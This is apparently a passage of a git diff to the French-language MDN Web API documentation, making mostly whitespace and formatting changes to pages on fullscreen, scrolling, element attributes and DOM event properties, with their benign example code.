effectivement en mode plein écran. Si la permission d'entrer en plein écran est acquise, le document recevra un événement {{event("fullscreenchange")}} pour l'informer qu'il est désormais en mode plein écran. Si la permission est refusée, le document recevra un événement {{event('fullscreenerror')}} à la place. Cette méthode doit être invoquée par l'interaction d'un utilisateur ou un changement d'orientation du périphérique, sinon elle échouera. -> **Note :** Seuls les éléments présents dans l'espace de noms (namespace) HTML (c'est à dire, les éléments qui font partie du standard HTML), ainsi que les éléments {{HTMLElement("svg")}} et {{HTMLElement("math")}}, qui se trouvent dans le plus haut niveau du document ou dans une {{HTMLElement('iframe')}} avec l'attribut {{htmlattrxref("allowfullscreen", "iframe")}} peuvent être affichés en plein écran. Cela signifie que les éléments se trouvant dans une {{HTMLElement('frame')}} ou un {{HTMLElement('object')}} ne le peuvent pas. +> **Note :** Seuls les éléments présents dans l'espace de noms (namespace) HTML (c'est à dire, les éléments qui font partie du standard HTML), ainsi que les éléments {{HTMLElement("svg")}} et {{HTMLElement("math")}}, qui se trouvent dans le plus haut niveau du document ou dans une {{HTMLElement('iframe')}} avec l'attribut {{htmlattrxref("allowfullscreen", "iframe")}} peuvent être affichés en plein écran. Cela signifie que les éléments se trouvant dans une {{HTMLElement('frame')}} ou un {{HTMLElement('object')}} ne le peuvent pas. ## Syntaxe @@ -22,7 +22,7 @@ Cette méthode doit être invoquée par l'interaction d'un utilisateur ou un cha ## Exemple -Avant d'appeler `requestFullScreen()`, mettez en place des gestionnaires (handlers) pour les évenements {{event("fullscreenchange")}} et {{event("fullscreenerror")}}, pour savoir lorsque vous avez réussi à passer en mode plein écran (ou lorsque la permission de le faire a été refusée). +Avant d'appeler `requestFullScreen()`, mettez en place des gestionnaires (handlers) pour les évenements {{event("fullscreenchange")}} et {{event("fullscreenerror")}}, pour savoir lorsque vous avez réussi à passer en mode plein écran (ou lorsque la permission de le faire a été refusée). tbd diff --git a/files/fr/web/api/element/scrollheight/index.md b/files/fr/web/api/element/scrollheight/index.md index 84bb1b7101..4b5ce90b35 100644 --- a/files/fr/web/api/element/scrollheight/index.md +++ b/files/fr/web/api/element/scrollheight/index.md @@ -127,23 +127,23 @@ Associée à l'événement [element.onscroll](/fr/docs/DOM/element.onscroll), l' <title>MDN Example</title> <script type="text/javascript"> function checkReading () { - if (checkReading.read) { return; } - checkReading.read = this.scrollHeight - this.scrollTop === this.clientHeight; - document.registration.accept.disabled = document.getElementById("nextstep").disabled = !checkReading.read; - checkReading.noticeBox.innerHTML = checkReading.read ? - "Merci." : - "Veuillez faire défiler la page et lire le texte qui suit."; + if (checkReading.read) { return; } + checkReading.read = this.scrollHeight - this.scrollTop === this.clientHeight; + document.registration.accept.disabled = document.getElementById("nextstep").disabled = !checkReading.read; + checkReading.noticeBox.innerHTML = checkReading.read ? + "Merci." : + "Veuillez faire défiler la page et lire le texte qui suit."; } onload = function () { - var oToBeRead = document.getElementById("rules"); - checkReading.noticeBox = document.createElement("span"); - document.registration.accept.checked = false; - checkReading.noticeBox.id = "notice"; - oToBeRead.parentNode.insertBefore(checkReading.noticeBox, oToBeRead); - oToBeRead.parentNode.insertBefore(document.createElement("br"), oToBeRead); - oToBeRead.onscroll = checkReading; - checkReading.call(oToBeRead); + var oToBeRead = document.getElementById("rules"); + checkReading.noticeBox = document.createElement("span"); + document.registration.accept.checked = false; + checkReading.noticeBox.id = "notice"; + oToBeRead.parentNode.insertBefore(checkReading.noticeBox, oToBeRead); + oToBeRead.parentNode.insertBefore(document.createElement("br"), oToBeRead); + oToBeRead.onscroll = checkReading; + checkReading.call(oToBeRead); } ``` diff --git a/files/fr/web/api/element/scrollintoview/index.md b/files/fr/web/api/element/scrollintoview/index.md index f36004773c..e8256d835b 100644 --- a/files/fr/web/api/element/scrollintoview/index.md +++ b/files/fr/web/api/element/scrollintoview/index.md @@ -32,7 +32,7 @@ La méthode **`Element.scrollIntoView()`** fait défiler la page de manière à - `behavior` {{optional_inline}} - : Définit l'animation de transition qui peut être `"auto"`, `"instant"` ou `"smooth"`. Par défaut : `"auto"`. - `block` {{optional_inline}} - - : L'une des options `"start"`, `"center"`, `"end"` ou`"nearest"`. Par défaut : `"center"`. + - : L'une des options `"start"`, `"center"`, `"end"` ou`"nearest"`. Par défaut : `"center"`. - `inline` {{optional_inline}} - : L'une des options `"start"`, `"center"`, `"end"` ou `"nearest"`. Par défaut : `"nearest"`. diff --git a/files/fr/web/api/element/scrollleft/index.md b/files/fr/web/api/element/scrollleft/index.md index 115f89a128..3fafc4443a 100644 --- a/files/fr/web/api/element/scrollleft/index.md +++ b/files/fr/web/api/element/scrollleft/index.md @@ -22,7 +22,7 @@ _sLeft_ est un entier représentant le nombre de pixels dont _element_ a été d // Définit le nombre de pixels défilés element.scrollLeft = 10; -**scrollLeft** peut être n'importe quelle valeur entière, cependant : +**scrollLeft** peut être n'importe quelle valeur entière, cependant : - Si l'élément ne peut pas défiler (par exemple parce qu'il ne déborde pas), `scrollLeft` est mis à 0. - S'il reçoit une valeur inférieure à 0, `scrollLeft` est mis à 0. diff --git a/files/fr/web/api/element/scrollleftmax/index.md b/files/fr/web/api/element/scrollleftmax/index.md index fa23a3f747..147f9a341b 100644 --- a/files/fr/web/api/element/scrollleftmax/index.md +++ b/files/fr/web/api/element/scrollleftmax/index.md @@ -5,7 +5,7 @@ translation_of: Web/API/Element/scrollLeftMax --- {{APIRef("DOM")}}{{Non-standard_header}} -La propriété non modifiable **`Element.scrollLeftMax`** renvoie un {{jsxref("Number")}} représentant la distance restante de défilement vers la gauche de l'élément. +La propriété non modifiable **`Element.scrollLeftMax`** renvoie un {{jsxref("Number")}} représentant la distance restante de défilement vers la gauche de l'élément. ## Syntaxe diff --git a/files/fr/web/api/element/scrollto/index.md b/files/fr/web/api/element/scrollto/index.md index 9e21bb6a0f..ecb4c81e21 100644 --- a/files/fr/web/api/element/scrollto/index.md +++ b/files/fr/web/api/element/scrollto/index.md @@ -11,7 +11,7 @@ translation_of: Web/API/Element/scrollTo --- {{ APIRef }} -La méthode **`scrollTo()`** de l'interface {{domxref("Element")}} permet de faire défiler le document jusqu'à un jeu de coordonnées particulier. +La méthode **`scrollTo()`** de l'interface {{domxref("Element")}} permet de faire défiler le document jusqu'à un jeu de coordonnées particulier. ## Syntaxe @@ -23,9 +23,9 @@ La méthode **`scrollTo()`** de l'interface {{domxref("Element")}} permet de fa - `x-coord` est le pixel le long de l'axe horizontal du document qui doit être affiché en haut à gauche. - `y-coord` est le pixel le long de l'axe vertical du document qui doit être affiché en haut à gauche. -\- ou - +\- ou - -- `options` est un dictionnaire de type {{domxref("ScrollToOptions")}}. +- `options` est un dictionnaire de type {{domxref("ScrollToOptions")}}. ## Exemples @@ -35,7 +35,7 @@ En utilisant des coordonnées : element.scrollTo(0, 1000); ``` -Ou en utilisant `options` : +Ou en utilisant `options` : ```js element.scrollTo({ diff --git a/files/fr/web/api/element/scrollwidth/index.md b/files/fr/web/api/element/scrollwidth/index.md index f14babcee9..4e9dd42383 100644 --- a/files/fr/web/api/element/scrollwidth/index.md +++ b/files/fr/web/api/element/scrollwidth/index.md @@ -30,7 +30,7 @@ _xScrollWidth_ est la largeur du contenu d'_element_ en pixels. Il n'y a pas de spécification du W3C pour **scrollWidth**. -Un brouillon de l'éditeur existe cependant : [Cascading Style Sheets Object Model (CSSOM)](http://dev.w3.org/cvsweb/~checkout~/csswg/cssom/Overview.src.html) +Un brouillon de l'éditeur existe cependant : [Cascading Style Sheets Object Model (CSSOM)](http://dev.w3.org/cvsweb/~checkout~/csswg/cssom/Overview.src.html) ### Références diff --git a/files/fr/web/api/element/select_event/index.md b/files/fr/web/api/element/select_event/index.md index 064db39bed..eb359f0d7e 100644 --- a/files/fr/web/api/element/select_event/index.md +++ b/files/fr/web/api/element/select_event/index.md @@ -36,9 +36,9 @@ L'évènement `select` est déclenché quand du texte est sélectionné. L'évè ```html <input id="test" type="text" value="Sélectionnez-moi !" /> <script> - var elem = document.getElementById('test'); - elem.addEventListener('select', function() { - alert('La sélection a changé !'); - }, false); + var elem = document.getElementById('test'); + elem.addEventListener('select', function() { + alert('La sélection a changé !'); + }, false); </script> ``` diff --git a/files/fr/web/api/element/setattribute/index.md b/files/fr/web/api/element/setattribute/index.md index f86cbf065c..a34e4af814 100644 --- a/files/fr/web/api/element/setattribute/index.md +++ b/files/fr/web/api/element/setattribute/index.md @@ -63,7 +63,7 @@ Ceci démontre 2 choses : ## Spécifications -- [DOM Level 2 Core : setAttribute](http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-F68F082) — [traduction en français](http://www.yoyodesign.org/doc/w3c/dom2/core/core.html#ID-F68F082) (non normative) +- [DOM Level 2 Core : setAttribute](http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-F68F082) — [traduction en français](http://www.yoyodesign.org/doc/w3c/dom2/core/core.html#ID-F68F082) (non normative) - [HTML5 : API dans les documents HTML](http://www.whatwg.org/specs/web-apps/current-work/#apis-in-html-documents) ## Compatibilité des navigateurs diff --git a/files/fr/web/api/element/setattributenode/index.md b/files/fr/web/api/element/setattributenode/index.md index 2b78429f15..95583dd69d 100644 --- a/files/fr/web/api/element/setattributenode/index.md +++ b/files/fr/web/api/element/setattributenode/index.md @@ -37,10 +37,10 @@ var replacedAttr = element.setAttributeNode(attribute); Si l'attribut nommé existe déjà sur l'élément, cet attribut est remplacé par le nouveau et le nœud remplacé est renvoyé. -Cette méthode est peu utilisée. On lui préfère souvent {{domxref("Element.setAttribute()")}} pour modifier la valeur d'un attribut d'élément. +Cette méthode est peu utilisée. On lui préfère souvent {{domxref("Element.setAttribute()")}} pour modifier la valeur d'un attribut d'élément. {{DOMAttributeMethods()}} ## Spécification -- [DOM Level 2 Core : setAttributeNode](http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-887236154) — [traduction en français](http://www.yoyodesign.org/doc/w3c/dom2-core/core.html#ID-887236154) (non normative (Introduit dans [DOM Level 1 Core](http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#method-setAttributeNode)) +- [DOM Level 2 Core : setAttributeNode](http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-887236154) — [traduction en français](http://www.yoyodesign.org/doc/w3c/dom2-core/core.html#ID-887236154) (non normative (Introduit dans [DOM Level 1 Core](http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#method-setAttributeNode)) diff --git a/files/fr/web/api/element/setattributenodens/index.md b/files/fr/web/api/element/setattributenodens/index.md index a93dd4f72e..6bb2a14bee 100644 --- a/files/fr/web/api/element/setattributenodens/index.md +++ b/files/fr/web/api/element/setattributenodens/index.md @@ -32,7 +32,7 @@ translation_of: Web/API/Element/setAttributeNodeNS var a = d1.getAttributeNodeNS(myns, "special-align"); d2.setAttributeNodeNS(a); - alert(d2.attributes[1].value) // renvoie : "utterleft" + alert(d2.attributes[1].value) // renvoie : "utterleft" ## Notes diff --git a/files/fr/web/api/element/setattributens/index.md b/files/fr/web/api/element/setattributens/index.md index 26312d6014..80841d9c87 100644 --- a/files/fr/web/api/element/setattributens/index.md +++ b/files/fr/web/api/element/setattributens/index.md @@ -34,7 +34,7 @@ value) {{ DOMAttributeMethods() }} -`setAttributeNS` est la seule méthode pour les attributs d'espace nom qui attend le nom qualifié complet, c'est-à-dire `"namespace:localname"`. +`setAttributeNS` est la seule méthode pour les attributs d'espace nom qui attend le nom qualifié complet, c'est-à-dire `"namespace:localname"`. ## Spécification diff --git a/files/fr/web/api/encoding_api/index.md b/files/fr/web/api/encoding_api/index.md index 2e5901f1e7..92f5385c84 100644 --- a/files/fr/web/api/encoding_api/index.md +++ b/files/fr/web/api/encoding_api/index.md @@ -12,7 +12,7 @@ translation_of: Web/API/Encoding_API L'`API Encoding` fournit un mecanisme de traitement de texte dans plusieurs {{Glossary("character encoding", "character encodings")}}, incluant les encodings non-{{Glossary("UTF-8")}}. -L'API fournit quatres interfaces: {{domxref("TextDecoder")}}, {{domxref("TextEncoder")}}, {{domxref("TextDecoderStream")}} et {{domxref("TextEncoderStream")}}. +L'API fournit quatres interfaces: {{domxref("TextDecoder")}}, {{domxref("TextEncoder")}}, {{domxref("TextDecoderStream")}} et {{domxref("TextEncoderStream")}}. ## Interfaces diff --git a/files/fr/web/api/errorevent/index.md b/files/fr/web/api/errorevent/index.md index e0da9edb4a..f7db62cac5 100644 --- a/files/fr/web/api/errorevent/index.md +++ b/files/fr/web/api/errorevent/index.md @@ -9,27 +9,27 @@ translation_of: Web/API/ErrorEvent --- {{APIRef("HTML DOM")}} -L'interface **`ErrorEvent`** représente un événement donnant des informations relatives aux erreurs dans les scripts ou dans les fichiers. +L'interface **`ErrorEvent`** représente un événement donnant des informations relatives aux erreurs dans les scripts ou dans les fichiers. ## Propriétés _Hérite également des propriétés de son parent {{domxref("Event")}}_. - {{domxref("ErrorEvent.message")}} {{readonlyInline}} - - : Un {{domxref("DOMString")}} contenant un message d'erreur lisible décrivant le problème. + - : Un {{domxref("DOMString")}} contenant un message d'erreur lisible décrivant le problème. - {{domxref("ErrorEvent.filename")}} {{readonlyInline}} - : Un {{domxref("DOMString")}} contenant le nom du fichier de script dans lequel l'erreur est survenue. - {{domxref("ErrorEvent.lineno")}} {{readonlyInline}} - - : Un `integer` contenant le numéro de ligne du fichier de script dans lequel l'erreur est survenue. + - : Un `integer` contenant le numéro de ligne du fichier de script dans lequel l'erreur est survenue. - {{domxref("ErrorEvent.colno")}} {{readonlyInline}} - - : Un `integer` contenant le numéro de colonne du fichier de script dans lequel l'erreur est survenue. + - : Un `integer` contenant le numéro de colonne du fichier de script dans lequel l'erreur est survenue. - {{domxref("ErrorEvent.error")}} {{readonlyInline}} {{experimental_inline}} - - : Un `Object` JavaScript qui est concerné par l'événement. + - : Un `Object` JavaScript qui est concerné par l'événement. ## Constructeur - {{domxref("ErrorEvent.ErrorEvent", "ErrorEvent()")}} - - : Crée un événement `ErrorEvent` avec les paramètres fournis. + - : Crée un événement `ErrorEvent` avec les paramètres fournis. ## Méthodes @@ -39,7 +39,7 @@ _Hérite des méthodes de son parent {{domxref("Event")}}_. | Spécification | Statut | Commentaire | | -------------------------------------------------------------------------------------------------------------------- | ------------------------------------ | ------------------------------------------------------------------- | -| {{ SpecName('HTML WHATWG', 'webappapis.html#the-errorevent-interface', 'ErrorEvent') }} | {{ Spec2('HTML WHATWG') }} | Ajout de la propriété `error` et du 5ème paramètre du constructeur. | +| {{ SpecName('HTML WHATWG', 'webappapis.html#the-errorevent-interface', 'ErrorEvent') }} | {{ Spec2('HTML WHATWG') }} | Ajout de la propriété `error` et du 5ème paramètre du constructeur. | | {{ SpecName('HTML5 W3C', 'webappapis.html#the-errorevent-interface', 'ErrorEvent') }} | {{ Spec2('HTML5 W3C') }} | Définition initiale. | ## Compatibilité des navigateurs @@ -48,4 +48,4 @@ _Hérite des méthodes de son parent {{domxref("Event")}}_. ## Voir aussi -- [Utilisation des web workers](/fr/docs/Web/API/Web_Workers_API/Utilisation_des_web_workers), notamment les objets susceptibles de déclencher un tel événement. +- [Utilisation des web workers](/fr/docs/Web/API/Web_Workers_API/Utilisation_des_web_workers), notamment les objets susceptibles de déclencher un tel événement. diff --git a/files/fr/web/api/event/bubbles/index.md b/files/fr/web/api/event/bubbles/index.md index 2c869ea435..de6a8013bc 100644 --- a/files/fr/web/api/event/bubbles/index.md +++ b/files/fr/web/api/event/bubbles/index.md @@ -37,14 +37,14 @@ function goInput(e) { } ``` -> **Note :** Certains évènements seulement peuvent se propager. Ceux dont cette propriété est définie à `true`. Vous pouvez utiliser cette propriété pour vérifier si un évènement est autorisé à se propager ou non. +> **Note :** Certains évènements seulement peuvent se propager. Ceux dont cette propriété est définie à `true`. Vous pouvez utiliser cette propriété pour vérifier si un évènement est autorisé à se propager ou non. ## Spécifications | Spécification | Statut | Commentaire | | ------------------------------------------------------------------------------------------------ | ------------------------------------ | -------------------- | -| {{SpecName('DOM WHATWG', '#dom-event-bubbles', 'Event.bubbles')}} | {{ Spec2('DOM WHATWG') }} | | -| {{SpecName('DOM4', '#dom-event-bubbles', 'Event.bubbles')}} | {{ Spec2('DOM4') }} | | +| {{SpecName('DOM WHATWG', '#dom-event-bubbles', 'Event.bubbles')}} | {{ Spec2('DOM WHATWG') }} | | +| {{SpecName('DOM4', '#dom-event-bubbles', 'Event.bubbles')}} | {{ Spec2('DOM4') }} | | | {{SpecName('DOM2 Events', '#Events-Event-canBubble', 'Event.bubbles')}} | {{ Spec2('DOM2 Events') }} | Définition initiale. | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/event/cancelable/index.md b/files/fr/web/api/event/cancelable/index.md index a570c95c8c..a7df8f75a2 100644 --- a/files/fr/web/api/event/cancelable/index.md +++ b/files/fr/web/api/event/cancelable/index.md @@ -11,7 +11,7 @@ translation_of: Web/API/Event/cancelable --- {{ ApiRef("DOM") }} -La propriété _`cancelable`_ (_annulable_) de "Event" Indique si l'événement peut être annulé et donc empêché, comme si l'événement ne s'était jamais produit. Si l'événement n'est pas annulable, alors sa propriété `cancelable` est à `false` (_faux_) et l'écouteur d'événement ne peut pas l'arrêter. +La propriété _`cancelable`_ (_annulable_) de "Event" Indique si l'événement peut être annulé et donc empêché, comme si l'événement ne s'était jamais produit. Si l'événement n'est pas annulable, alors sa propriété `cancelable` est à `false` (_faux_) et l'écouteur d'événement ne peut pas l'arrêter. L'appel de {{domxref("event.preventDefault", "preventDefault()")}} sur un évènement qui ne peut être annulé produit une erreur, aussi les écouteurs d'évènement qui gèrent de nombreux types d'évènements peuvent être vérifiés avec `cancelable` avant d'appeler leurs méthodes `preventDefault()`. @@ -55,8 +55,8 @@ Pour annuler un événement, utiliser la méthode {{domxref("event.preventDefaul | Spécification | Statut | Commentaire | | ---------------------------------------------------------------------------------------------------- | ------------------------------------ | -------------------- | -| {{SpecName('DOM WHATWG', '#dom-event-cancelable', 'Event.cancelable')}} | {{ Spec2('DOM WHATWG') }} | | -| {{SpecName('DOM4', '#dom-event-cancelable', 'Event.cancelable')}} | {{ Spec2('DOM4') }} | | +| {{SpecName('DOM WHATWG', '#dom-event-cancelable', 'Event.cancelable')}} | {{ Spec2('DOM WHATWG') }} | | +| {{SpecName('DOM4', '#dom-event-cancelable', 'Event.cancelable')}} | {{ Spec2('DOM4') }} | | | {{SpecName('DOM2 Events', '#Events-Event-canCancel', 'Event.cancelable')}} | {{ Spec2('DOM2 Events') }} | Définition initiale. | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/event/cancelbubble/index.md b/files/fr/web/api/event/cancelbubble/index.md index c6cb47bf5d..9549d8b06f 100644 --- a/files/fr/web/api/event/cancelbubble/index.md +++ b/files/fr/web/api/event/cancelbubble/index.md @@ -30,7 +30,7 @@ La propriété **`Event.cancelBubble`** est un alias historique de {{domxref("Ev | Spécification | Statut | Commentaire | | -------------------------------------------------------------------------------------------- | -------------------------------- | ----------- | -| {{SpecName('DOM WHATWG', '#dom-event-cancelbubble', 'cancelBubble')}} | {{Spec2('DOM WHATWG')}} | | +| {{SpecName('DOM WHATWG', '#dom-event-cancelbubble', 'cancelBubble')}} | {{Spec2('DOM WHATWG')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/event/comparison_of_event_targets/index.md b/files/fr/web/api/event/comparison_of_event_targets/index.md index efba95d88c..0d640f3db7 100644 --- a/files/fr/web/api/event/comparison_of_event_targets/index.md +++ b/files/fr/web/api/event/comparison_of_event_targets/index.md @@ -81,7 +81,7 @@ Il y a 5 cibles à considérer : </td> <td> {{ Non-standard_inline() }} Si l'évènement a été reciblé pour - quelque raison autre que un passage de limite anonyme, il sera défini + quelque raison autre que un passage de limite anonyme, il sera défini sur la cible avant le reciblage. Par exemple, les évènements de souris sont reciblés vers leur noeud parent quand ils surviennent sur des noeuds de texte ({{ Bug("185889") }}), et, dans ce cas, @@ -119,65 +119,65 @@ Problème : Seulement disponible dans un navigateur basé sur Mozilla ? Problèm <!DOCTYPE html> <html> <head> - <meta charset="utf-8"> - <meta http-equiv="X-UA-Compatible" content="IE=edge"> - <title>Comparison of Event Targets</title> - <style> - table { - border-collapse: collapse; - height: 150px; - width: 100%; - } - td { - border: 1px solid #ccc; - font-weight: bold; - padding: 5px; - min-height: 30px; - } - .standard { - background-color: #99ff99; - } - .non-standard { - background-color: #902D37; - } - </style> + <meta charset="utf-8"> + <meta http-equiv="X-UA-Compatible" content="IE=edge"> + <title>Comparison of Event Targets</title> + <style> + table { + border-collapse: collapse; + height: 150px; + width: 100%; + } + td { + border: 1px solid #ccc; + font-weight: bold; + padding: 5px; + min-height: 30px; + } + .standard { + background-color: #99ff99; + } + .non-standard { + background-color: #902D37; + } + </style> </head> <body> - <table> - <thead> - <tr> - <td class="standard">Original target dispatching the event <small>event.target</small></td> - <td class="standard">Target who's event listener is being processed <small>event.currentTarget</small></td> - <td class="standard">Identify other element (if any) involved in the event <small>event.relatedTarget</small></td> - <td class="non-standard">If there was a retargetting of the event for some reason <small> event.explicitOriginalTarget</small> contains the target before retargetting (never contains anonymous targets)</td> - <td class="non-standard">If there was a retargetting of the event for some reason <small> event.originalTarget</small> contains the target before retargetting (may contain anonymous targets)</td> - </tr> - </thead> - <tr> - <td id="target"></td> - <td id="currentTarget"></td> - <td id="relatedTarget"></td> - <td id="explicitOriginalTarget"></td> - <td id="originalTarget"></td> - </tr> + <table> + <thead> + <tr> + <td class="standard">Original target dispatching the event <small>event.target</small></td> + <td class="standard">Target who's event listener is being processed <small>event.currentTarget</small></td> + <td class="standard">Identify other element (if any) involved in the event <small>event.relatedTarget</small></td> + <td class="non-standard">If there was a retargetting of the event for some reason <small> event.explicitOriginalTarget</small> contains the target before retargetting (never contains anonymous targets)</td> + <td class="non-standard">If there was a retargetting of the event for some reason <small> event.originalTarget</small> contains the target before retargetting (may contain anonymous targets)</td> + </tr> + </thead> + <tr> + <td id="target"></td> + <td id="currentTarget"></td> + <td id="relatedTarget"></td> + <td id="explicitOriginalTarget"></td> + <td id="originalTarget"></td> + </tr> </table> <p>Clicking on the text will show the difference between explicitOriginalTarget, originalTarget and target</p> <script> - function handleClicks(e) { - document.getElementById('target').innerHTML = e.target; - document.getElementById('currentTarget').innerHTML = e.currentTarget; - document.getElementById('relatedTarget').innerHTML = e.relatedTarget; - document.getElementById('explicitOriginalTarget').innerHTML = e.explicitOriginalTarget; - document.getElementById('originalTarget').innerHTML = e.originalTarget; - } - - function handleMouseover(e) { - document.getElementById('target').innerHTML = e.target; - document.getElementById('relatedTarget').innerHTML = e.relatedTarget; - } - - document.addEventListener('click', handleClicks, false); - document.addEventListener('mouseover', handleMouseover, false); + function handleClicks(e) { + document.getElementById('target').innerHTML = e.target; + document.getElementById('currentTarget').innerHTML = e.currentTarget; + document.getElementById('relatedTarget').innerHTML = e.relatedTarget; + document.getElementById('explicitOriginalTarget').innerHTML = e.explicitOriginalTarget; + document.getElementById('originalTarget').innerHTML = e.originalTarget; + } + + function handleMouseover(e) { + + + } + + document.addEventListener('click', handleClicks, false); + document.addEventListener('mouseover', handleMouseover, false); </script> </body> </html> @@ -185,7 +185,7 @@ Problème : Seulement disponible dans un navigateur basé sur Mozilla ? Problèm ### Utilisation de `target` et `relatedTarget` -La propriété `relatedTarget` (_cible associée_) pour l'évènement `mouseover` détient le noeud que la souris avait précédemment atteint. Pour l'évènement `mouseout`, il détient le noeud que la souris a déplacé à. +La propriété `relatedTarget` (_cible associée_) pour l'évènement `mouseover` détient le noeud que la souris avait précédemment atteint. Pour l'évènement `mouseout`, il détient le noeud que la souris a déplacé à. | Type d'évènement | [event.target](/en/DOM/event.target) | [event.relatedTarget](/en/DOM/event.relatedTarget) | | ---------------- | -------------------------------------------------------------------------------- | -------------------------------------------------------------------------------- | diff --git a/files/fr/web/api/event/defaultprevented/index.md b/files/fr/web/api/event/defaultprevented/index.md index 4ff41dfd07..db515795b4 100644 --- a/files/fr/web/api/event/defaultprevented/index.md +++ b/files/fr/web/api/event/defaultprevented/index.md @@ -30,7 +30,7 @@ Retourne un booléen indiquant si {{domxref("event.preventDefault()")}} a été | Spécification | Statut | Commentaire | | ---------------------------------------------------------------------------------------------------------------- | -------------------------------- | ----------- | -| {{SpecName('DOM WHATWG', '#dom-event-defaultprevented', 'Event.defaultPrevented()')}} | {{ Spec2('DOM WHATWG') }} | | +| {{SpecName('DOM WHATWG', '#dom-event-defaultprevented', 'Event.defaultPrevented()')}} | {{ Spec2('DOM WHATWG') }} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/event/eventphase/index.md b/files/fr/web/api/event/eventphase/index.md index 0fa5698321..954d1aa472 100644 --- a/files/fr/web/api/event/eventphase/index.md +++ b/files/fr/web/api/event/eventphase/index.md @@ -65,7 +65,7 @@ Ces valeurs décrivent quelle est la phase du flux d'événements actuellement <td> L'événement est arrivé à {{domxref("EventTarget", "the event's target", "", 1)}}. - Les écouteurs d'événements enregistrés pour cette phase sont appelés à + Les écouteurs d'événements enregistrés pour cette phase sont appelés à ce moment. Si {{domxref("Event.bubbles")}} vaut <code>false</code> (<em>faux</em>), le traitement de l'événement est terminé une fois la phase complète. @@ -96,22 +96,22 @@ Pour plus de détails, voir [section 3.1, Event dispatch and DOM event flow](htt ```html <h4>Event Propagation Chain</h4> <ul> - <li>Click 'd1'</li> - <li>Analyse event propagation chain</li> - <li>Click next div and repeat the experience</li> - <li>Change Capturing mode</li> - <li>Repeat the experience</li> + <li>Click 'd1'</li> + <li>Analyse event propagation chain</li> + <li>Click next div and repeat the experience</li> + <li>Change Capturing mode</li> + <li>Repeat the experience</li> </ul> <input type="checkbox" id="chCapture" /> <label for="chCapture">Use Capturing</label> - <div id="d1">d1 - <div id="d2">d2 - <div id="d3">d3 - <div id="d4">d4</div> - </div> - </div> - </div> - <div id="divInfo"></div> + <div id="d1">d1 + <div id="d2">d2 + <div id="d3">d3 + <div id="d4">d4</div> + </div> + </div> + </div> + <div id="divInfo"></div> ``` ### CSS @@ -195,8 +195,8 @@ function Clear() { | Spécification | Statut | Commentaire | | ---------------------------------------------------------------------------------------------------- | -------------------------------- | ------------------- | -| {{SpecName("DOM WHATWG", "#dom-event-eventphase", "Event.eventPhase")}} | {{Spec2("DOM WHATWG")}} | | -| {{SpecName("DOM4", "#dom-event-eventphase", "Event.eventPhase")}} | {{Spec2("DOM4")}} | | +| {{SpecName("DOM WHATWG", "#dom-event-eventphase", "Event.eventPhase")}} | {{Spec2("DOM WHATWG")}} | | +| {{SpecName("DOM4", "#dom-event-eventphase", "Event.eventPhase")}} | {{Spec2("DOM4")}} | | | {{SpecName("DOM2 Events", "#Events-Event-eventPhase", "Event.eventPhase")}} | {{Spec2("DOM2 Events")}} | Première définition | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/event/explicitoriginaltarget/index.md b/files/fr/web/api/event/explicitoriginaltarget/index.md index cc0bf70366..133918065b 100644 --- a/files/fr/web/api/event/explicitoriginaltarget/index.md +++ b/files/fr/web/api/event/explicitoriginaltarget/index.md @@ -16,7 +16,7 @@ Cette propriété représente la cible originale de l'évènement. Elle est spé Si l'évènement a été déporté pour une autre raison qu'une traverséee de frontière anonyme, cette propriété correspondra à la cible avant la déportation de l'évènement. Par exemples, les évènements de la souris sont déportés vers leur nœud parent lorsqu'ils se produisent sur des nœuds texte (cf. {{Bug(185889)}}). Dans ce cas [`currentTarget`](/fr/docs/Web/API/Event/currentTarget) pointera vers le parent et `explicitOriginalTarget` vers le nœud texte. -À la différence de [`originalTarget`](/fr/docs/Web/API/Event/originalTarget), `explicitOriginalTarget` ne contiendra jamais de contenu anonyme. +À la différence de [`originalTarget`](/fr/docs/Web/API/Event/originalTarget), `explicitOriginalTarget` ne contiendra jamais de contenu anonyme. Voir aussi une [comparaison des cibles pour les évènements](/fr/docs/DOM/event/Comparison_of_Event_Targets). diff --git a/files/fr/web/api/event/initevent/index.md b/files/fr/web/api/event/initevent/index.md index fceca59b46..4a83f40593 100644 --- a/files/fr/web/api/event/initevent/index.md +++ b/files/fr/web/api/event/initevent/index.md @@ -24,11 +24,11 @@ Les évènements initialisés par ce moyen ont été créés par la méthode {{d event.initEvent(type, bubbles, cancelable) - `type` - - : est une {{domxref("DOMString")}} qui définit le type d'évènement. + - : est une {{domxref("DOMString")}} qui définit le type d'évènement. - `bubbles` - - : est un {{jsxref("Boolean")}} indiquant si l'évènement doit se propager vers le haut dans la chaîne des évènements ou non. Une fois déterminé, la propriété en lecture seule {{domxref("Event.bubbles")}} donnera sa valeur. + - : est un {{jsxref("Boolean")}} indiquant si l'évènement doit se propager vers le haut dans la chaîne des évènements ou non. Une fois déterminé, la propriété en lecture seule {{domxref("Event.bubbles")}} donnera sa valeur. - `cancelable` - - : Une valeur booléenne définissant si l'évènement peut être annulé. Une fois déterminé, la propriété en lecture seule {{ domxref("Event.cancelable") }} donnera sa valeur. + - : Une valeur booléenne définissant si l'évènement peut être annulé. Une fois déterminé, la propriété en lecture seule {{ domxref("Event.cancelable") }} donnera sa valeur. ## Exemple diff --git a/files/fr/web/api/event/istrusted/index.md b/files/fr/web/api/event/istrusted/index.md index cdb9b49165..42c0ee0970 100644 --- a/files/fr/web/api/event/istrusted/index.md +++ b/files/fr/web/api/event/istrusted/index.md @@ -11,7 +11,7 @@ translation_of: Web/API/Event/isTrusted --- {{APIRef("DOM")}} -La propriété en lecture seule isTrusted, de l'interface {{domxref("Event")}}, est un booléen qui vaut true lorsque l'événement est généré par une action de l'utilisateur, et false, quand l'événement est créé ou modifié par un script ou envoyé par dispatchEvent. +La propriété en lecture seule isTrusted, de l'interface {{domxref("Event")}}, est un booléen qui vaut true lorsque l'événement est généré par une action de l'utilisateur, et false, quand l'événement est créé ou modifié par un script ou envoyé par dispatchEvent. ## Syntaxe @@ -39,7 +39,7 @@ La propriété en 